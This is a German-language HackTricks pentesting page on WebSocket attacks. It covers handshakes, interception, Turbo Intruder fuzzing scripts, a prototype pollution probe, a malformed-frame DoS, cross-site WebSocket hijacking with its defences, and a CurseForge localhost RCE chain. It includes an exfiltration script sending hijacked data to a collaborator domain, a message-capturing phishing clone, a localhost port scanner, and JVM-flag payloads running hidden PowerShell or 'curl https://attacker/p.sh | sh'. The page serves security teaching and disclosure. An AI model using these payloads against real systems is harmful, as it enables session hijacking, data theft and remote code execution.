WebSocket Attacks
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Was sind WebSockets
WebSocket-Verbindungen werden durch einen initialen HTTP-Handshake aufgebaut und sind dafür ausgelegt, dauerhaft zu sein, wodurch bidirektionale Nachrichtenübermittlung jederzeit möglich ist, ohne ein transaktionales System zu benötigen. Das macht WebSockets besonders vorteilhaft für Anwendungen, die geringe Latenz oder vom Server initiierte Kommunikation erfordern, wie z. B. Live-Finanzdaten-Streams.
Herstellung von WebSocket-Verbindungen
Eine ausführliche Erklärung zur Herstellung von WebSocket-Verbindungen finden Sie hier. Zusammenfassend werden WebSocket-Verbindungen üblicherweise über clientseitiges JavaScript initiiert, wie unten dargestellt:
var ws = new WebSocket("wss://normal-website.com/ws")
Das wss-Protokoll kennzeichnet eine WebSocket-Verbindung, die mit TLS gesichert ist, während ws eine ungesicherte Verbindung anzeigt.
Während der Verbindungsherstellung wird ein Handshake zwischen dem Browser und dem Server über HTTP durchgeführt. Der Handshake-Prozess umfasst, dass der Browser eine Anfrage sendet und der Server antwortet, wie in den folgenden Beispielen dargestellt:
Der Browser sendet eine Handshake-Anfrage:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Antwort des Servers auf den handshake:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
Sobald die Verbindung hergestellt ist, bleibt sie offen, sodass Nachrichten in beide Richtungen ausgetauscht werden können.
Wichtige Punkte des WebSocket-Handshakes:
- Die Header
ConnectionundUpgradesignalisieren den Beginn eines WebSocket-Handshakes. - Der Header
Sec-WebSocket-Versiongibt die gewünschte WebSocket-Protokollversion an, normalerweise13. - Ein Base64-codierter Zufallswert wird im Header
Sec-WebSocket-Keygesendet, wodurch jeder Handshake einzigartig ist und Probleme mit Caching-Proxies verhindert werden. Dieser Wert dient nicht zur Authentifizierung, sondern zur Bestätigung, dass die Antwort nicht von einem fehlkonfigurierten Server oder Cache erzeugt wurde. - Der Header
Sec-WebSocket-Acceptin der Server-Antwort ist ein Hash desSec-WebSocket-Keyund bestätigt die Absicht des Servers, eine WebSocket-Verbindung zu öffnen.
Diese Eigenschaften sorgen dafür, dass der Handshake-Prozess sicher und zuverlässig ist und den Weg für effiziente Echtzeitkommunikation ebnet.
Linux-Konsole
Du kannst websocat verwenden, um eine rohe Verbindung zu einem WebSocket herzustellen.
websocat --insecure wss://10.10.10.10:8000 -v
Oder um einen websocat server zu erstellen:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM websocket Verbindungen
Wenn du feststellst, dass Clients von deinem aktuellen lokalen Netzwerk aus mit einem HTTP websocket verbunden sind, kannst du einen ARP Spoofing Attack versuchen, um einen MitM attack zwischen dem Client und dem Server durchzuführen.
Sobald der Client versucht, sich zu verbinden, kannst du dann verwenden:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets-Erkennung
Sie können das Tool https://github.com/PalindromeLabs/STEWS verwenden, um bekannte Schwachstellen in websockets automatisch zu entdecken, zu fingerprinten und zu durchsuchen.
Websocket-Debug-Tools
- Burp Suite unterstützt MitM Websockets-Kommunikation auf sehr ähnliche Weise wie bei regulärer HTTP-Kommunikation.
- Die socketsleuth Burp Suite-Erweiterung ermöglicht es Ihnen, Websocket-Kommunikationen in Burp besser zu verwalten, indem Sie die history abrufen, interception rules setzen, match and replace-Regeln verwenden sowie Intruder und AutoRepeater nutzen.
- WSSiP: Kurz für “WebSocket/Socket.io Proxy”, dieses Tool, geschrieben in Node.js, bietet eine Benutzeroberfläche, um WebSocket- und Socket.IO-Kommunikationen zwischen Client und Server zu erfassen, abzufangen, benutzerdefinierte Nachrichten zu senden und anzuzeigen.
- wsrepl ist ein interaktives websocket REPL, das speziell für penetration testing entwickelt wurde. Es bietet eine Schnittstelle zum Beobachten eingehender websocket-Nachrichten und zum Senden neuer Nachrichten, mit einem einfach zu verwendenden Framework zur Automatisierung dieser Kommunikation.
- https://websocketking.com/ ist eine Web-Anwendung zur Kommunikation mit anderen Webseiten über websockets.
- https://hoppscotch.io/realtime/websocket bietet, neben anderen Kommunikations-/Protokolltypen, eine Web-Anwendung zur Kommunikation mit anderen Webseiten über websockets.
Websocket-Entschlüsselung
- https://github.com/Anof-cyber/PyCript
- https://github.com/Anof-cyber/PyCript-WebSocket/
Websocket Lab
In Burp-Suite-Extender-Montoya-Course finden Sie Code, um eine Webanwendung mit websockets zu starten, und in this post finden Sie eine Erklärung.
Websocket Fuzzing
Die Burp-Erweiterung Backslash Powered Scanner ermöglicht jetzt auch das Fuzzing von WebSocket-Nachrichten. Weitere Informationen dazu finden Sie here.
WebSocket Turbo Intruder (Burp-Erweiterung)
PortSwigger’s WebSocket Turbo Intruder bringt Turbo Intruder‑artigen Python‑Scripting und Fuzzing mit hoher Rate für WebSockets. Installieren Sie es aus dem BApp Store oder aus dem Quellcode. Es enthält zwei Komponenten:
- Turbo Intruder: Nachrichtensendung in hoher Menge an einen einzelnen WS-Endpunkt unter Verwendung benutzerdefinierter Engines.
- HTTP Middleware: stellt einen lokalen HTTP-Endpunkt bereit, der Bodies als WS-Nachrichten über eine persistente Verbindung weiterleitet, sodass jeder HTTP‑basierte Scanner WS-Backends prüfen kann.
Grundlegendes Skriptmuster, um Fuzzing an einem WS-Endpunkt durchzuführen und relevante Antworten zu filtern:
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Verwende Dekoratoren wie @MatchRegex(...), um Rauschen zu reduzieren, wenn eine einzelne Nachricht mehrere Antworten auslöst.
WS hinter HTTP überbrücken (HTTP Middleware)
Kapsle eine persistente WS-Verbindung und leite HTTP-Bodies als WS-Nachrichten weiter für automatisierte Tests mit HTTP-Scannern:
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Sende dann lokal HTTP; der Body wird als WS-Nachricht weitergeleitet:
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
This lets you drive WS backends while filtering for “interesting” events (e.g., SQLi errors, auth bypass, command injection behavior).
Socket.IO handling (handshake, heartbeats, events)
Socket.IO fügt oberhalb von WS eigenes Framing hinzu. Erkenne das über den obligatorischen Query-Parameter EIO (z. B. EIO=4). Halte die Session mit Ping (2) und Pong (3) am Leben und beginne die Unterhaltung mit "40", anschließend sende Events wie 42["message","hello"].
Intruder example:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
HTTP-Adapter-Variante:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Erkennung von server‑seitiger prototype pollution über Socket.IO
Folgen Sie der sicheren Erkennungstechnik von PortSwigger und versuchen Sie, die Express-Interna zu manipulieren, indem Sie eine payload wie folgt senden:
{"__proto__":{"initialPacket":"Polluted"}}
Wenn Greetings oder Verhalten sich ändern (z. B. echo enthält “Polluted”), haben Sie wahrscheinlich serverseitige Prototypen verschmutzt. Die Auswirkung hängt von erreichbaren Sinks ab; korrelieren Sie das mit den Gadgets im Node.js prototype pollution-Abschnitt. Siehe:
- Check NodeJS – proto & prototype Pollution for sinks/gadgets and chaining ideas.
WebSocket race conditions with Turbo Intruder
Die Standard-Engine bündelt Nachrichten auf einer Verbindung (hoher Durchsatz, schlecht für Races). Verwenden Sie die THREADED-Engine, um mehrere WS-Verbindungen zu öffnen und Payloads parallel abzusetzen, um Logic Races (double‑spend, token reuse, state desync) auszulösen. Starten Sie mit dem Beispielskript und passen Sie die Concurrency in config() an.
- Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).
WebSocket DoS: malformed frame “Ping of Death”
Erstellen Sie WS-Frames, deren Header eine riesige Payload-Länge angibt, aber keinen Body senden. Manche WS-Server vertrauen der Länge und pre‑allocaten Buffers; das Setzen nahe Integer.MAX_VALUE kann zu Out‑Of‑Memory und einem entfernten unauth DoS führen. Siehe das Beispielskript.
CLI and debugging
- Headless fuzzing:
java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput> - Aktivieren Sie den WS Logger, um Nachrichten mithilfe interner IDs zu erfassen und zu korrelieren.
- Verwenden Sie
inc*/dec*-Hilfen aufConnection, um das Message-ID-Handling in komplexen Adaptern anzupassen. - Decorators wie
@PingPong/@Pongund Helfer wieisInteresting()reduzieren Rauschen und halten Sessions aktiv.
Betriebliche Sicherheit
Hochfrequentes WS-Fuzzing kann viele Verbindungen öffnen und tausende Nachrichten pro Sekunde senden. Fehlerhafte Frames und hohe Raten können echten DoS verursachen. Verwenden Sie es nur dort, wo es erlaubt ist.
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking, wird als ein spezieller Fall von Cross-Site Request Forgery (CSRF) angesehen, der WebSocket-Handshakes betrifft. Diese Schwachstelle entsteht, wenn WebSocket-Handshakes ausschließlich über HTTP cookies ohne CSRF tokens oder ähnliche Sicherheitsmaßnahmen authentifizieren.
Angreifer können dies ausnutzen, indem sie eine bösartige Webseite hosten, die eine cross-site WebSocket-Verbindung zu einer verwundbaren Anwendung initiiert. Folglich wird diese Verbindung als Teil der Session des Opfers mit der Anwendung behandelt, wodurch das Fehlen von CSRF-Schutz in der Session-Verwaltung ausgenutzt wird.
Damit dieser Angriff funktioniert, müssen folgende Voraussetzungen erfüllt sein:
- Die websocket authentication must be cookie based
- Der Cookie muss vom Server des Angreifers zugänglich sein (das bedeutet in der Regel
SameSite=None) und es darf keine Firefox Total Cookie Protection in Firefox aktiviert sein und keine blocked third-party cookies in Chrome. - Der websocket-Server darf den Origin der Verbindung nicht prüfen (oder dies muss umgehbar sein)
Außerdem:
- Wenn die Authentifizierung auf einer lokalen Verbindung (zu localhost oder zu einem lokalen Netzwerk) basiert, ist der Angriff möglich, da kein derzeitiger Schutz dies verbietet (check more info here)
Simple Attack
Beachte, dass beim Aufbau einer websocket-Verbindung der cookie an den Server gesendet wird. Der Server könnte ihn verwenden, um jeden konkreten Benutzer mit seiner websocket-Session basierend on the sent cookie zu verknüpfen.
Wenn zum Beispiel der websocket server die Gesprächshistorie zurücksendet eines Benutzers, wenn eine Nachricht mit “READY” gesendet wird, dann kann ein einfaches XSS, das die Verbindung herstellt (der cookie wird gesendet automatisch, um den Opferbenutzer zu autorisieren), durch Senden von “READY” die Gesprächshistorie abrufen.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie with a different subdomain
In diesem Blogpost https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ gelang es dem Angreifer, execute arbitrary Javascript in a subdomain der Domain, in der die websocket-Kommunikation stattfand. Weil es eine subdomain war, wurde das cookie gesendet, und da die Websocket didn’t check the Origin properly, war es möglich, mit ihr zu kommunizieren und steal tokens from it.
Stealing data from user
Kopiere die Webanwendung, die du impersonate möchtest (z. B. die .html-Dateien) und füge innerhalb des script, in dem die websocket-Kommunikation stattfindet, diesen Code ein:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
Lade nun die Datei wsHook.js von https://github.com/skepticfx/wshook herunter und speichere sie im Ordner mit den Webdateien.
Wenn du die Webanwendung öffentlich zugänglich machst und einen Benutzer damit verbindest, kannst du die gesendeten und empfangenen Nachrichten über websocket abgreifen:
sudo python3 -m http.server 80
CSWSH Schutzmaßnahmen
Der CSWSH-Angriff basiert auf der Tatsache, dass ein Benutzer eine bösartige Seite aufruft, die eine websocket-Verbindung zu einer Webseite öffnet, mit der der Benutzer bereits verbunden ist, und sich als dieser authentifiziert, da die Anfrage die cookies des Benutzers mitsendet.
Heutzutage ist es sehr einfach, dieses Problem zu verhindern:
- Websocket-Server prüft das Origin: Der Websocket-Server sollte immer prüfen, von wo sich ein Benutzer verbindet, um zu verhindern, dass unerwartete Seiten eine Verbindung herstellen.
- Authentifizierungs-Token: Anstatt die Authentifizierung auf einem cookie zu basieren, könnte die websocket-Verbindung auf einem Token basieren, das vom Server für den Benutzer erzeugt wird und dem Angreifer unbekannt ist (wie ein anti-CSRF-Token).
- SameSite Cookie attribute: Cookies mit dem
SameSite-WertLaxoderStrictwerden nicht von einer externen Angreiferseite an den Zielserver gesendet; daher schlägt cookie-basierte Authentifizierung fehl. Beachte, dass Chrome Cookies ohne dieses Flag standardmäßig den WertLaxzuweist, wodurch das Verhalten standardmäßig sicherer wird. Allerdings haben Cookies in den ersten 2 Minuten nach ihrer Erstellung den WertNone, wodurch sie in dieser begrenzten Zeit verwundbar sind (es wird erwartet, dass diese Maßnahme irgendwann entfernt wird). - Firefox Total Cookie Protection: Total Cookie Protection isoliert cookies zur Site, auf der sie erstellt wurden. Grundsätzlich hat jede Site ihre eigene Cookie-Speicherpartition, um zu verhindern, dass Dritte die Surf-Historie eines Nutzers verknüpfen. Dadurch wird CSWSH unbrauchbar, da die Angreiferseite keinen Zugriff auf die cookies hat.
- Chrome third-party cookies block: Das kann außerdem verhindern, dass das cookie des authentifizierten Benutzers an den websocket-Server gesendet wird, selbst wenn
SameSite=Nonegesetzt ist.
Localhost WebSocket abuse & browser port discovery
Desktop-Launcher starten häufig Hilfsprogramme (z. B. CurseForge’s CurseAgent.exe), die JSON-RPC WebSockets auf 127.0.0.1:<random_port> öffnen. Der Browser wendet SOP auf Loopback-Sockets nicht durch, sodass jede Webseite das Handshake versuchen kann. Akzeptiert der Agent beliebige Origin-Werte und überspringt sekundäre Authentifizierung, wird die IPC-Oberfläche von JavaScript aus ferngesteuert kontrollierbar.
Auflisten freigegebener Methoden
Erfasse eine legitime Sitzung, um das Protokollcontract kennenzulernen. CurseForge sendet beispielsweise Frames wie {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]}, wobei name die RPC-Methode ist und args strukturierte Objekte (GUIDs, Auflösung, Flags usw.) enthält. Sobald diese Struktur bekannt ist, kannst du Methoden wie createModpack, minecraftGetDefaultLocation oder jede andere privilegierte Aufgabe direkt von einer injizierten Seite aus aufrufen.
Browser-basierte Port-Erkennung
Da der Helper an einen zufälligen hohen Port bindet, brute-forct der Exploit zuerst localhost über WebSockets. Chromium-basierte Browser tolerieren ~16k fehlgeschlagene Upgrades bevor sie drosseln, was ausreicht, um den ephemeren Bereich abzulaufen; Firefox neigt nach ein paar hundert Fehlschlägen zum Absturz oder Einfrieren, daher zielen praktische PoCs oft auf Chromium.
Minimaler Browser-Scanner
```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```Sobald eine Verbindung den Handshake übersteht und protokollspezifische Daten zurückliefert, verwenden Sie denselben Socket wieder für die RPC-Kette.
Verkettung von JSON-RPC-Methoden zu RCE
Der CurseForge-Exploit verkettet zwei nicht authentifizierte Aufrufe:
createModpack→ liefert eine neueMinecraftInstanceGuidzurück, ohne Benutzerinteraktion.minecraftTaskLaunchInstance→ startet diese GUID und akzeptiert beliebige JVM-Flags überAdditionalJavaArguments.
Diagnostische JNI/JVM-Optionen liefern dann eine sofort einsatzbereite RCE-Primitive. Beispielsweise die metaspace begrenzen, um einen Absturz zu erzwingen, und den error hook ausnutzen, um Befehle auszuführen:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."
Auf Unix-Zielen tausche einfach die Payload gegen /bin/sh -c 'curl https://attacker/p.sh | sh'. Das funktioniert sogar, wenn du den Anwendungscode nicht anfassen kannst — die Kontrolle über die JVM CLI reicht aus.
Dieses „create resource → privileged launch“-Muster taucht häufig in Updaters und Launchern auf. Immer wenn Methode (1) eine server-verfolgte Kennung liefert und Methode (2) mit dieser Kennung Code ausführt oder einen Prozess startet, prüfe, ob nutzerkontrollierte Argumente injiziert werden können.
Race Conditions
Race Conditions in WebSockets sind ebenfalls ein Thema, siehe diese Information, um mehr zu erfahren.
Andere Schwachstellen
Da Web Sockets ein Mechanismus sind, um Daten an Server- und Client-Seite zu senden, können — abhängig davon, wie Server und Client die Informationen verarbeiten — Web Sockets dazu verwendet werden, mehrere andere Schwachstellen wie XSS, SQLi oder andere gängige Web-Vulnerabilities auszunutzen, indem Nutzereingaben aus einem websocket verwendet werden.
WebSocket Smuggling
Diese Schwachstelle könnte es ermöglichen, Einschränkungen von reverse proxies zu umgehen, indem man sie glauben lässt, dass eine websocket-Kommunikation hergestellt wurde (auch wenn das nicht der Fall ist). Das könnte einem Angreifer erlauben, auf versteckte Endpunkte zuzugreifen. Für mehr Informationen siehe die folgende Seite:
Referenzen
- https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
- https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocket Turbo Intruder – BApp Store
- WebSocketTurboIntruder – GitHub
- Turbo Intruder background
- Server-side prototype pollution – safe detection methods
- WS RaceCondition PoC (Java)
- RaceConditionExample.py
- PingOfDeathExample.py
- When WebSockets Lead to RCE in CurseForge
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

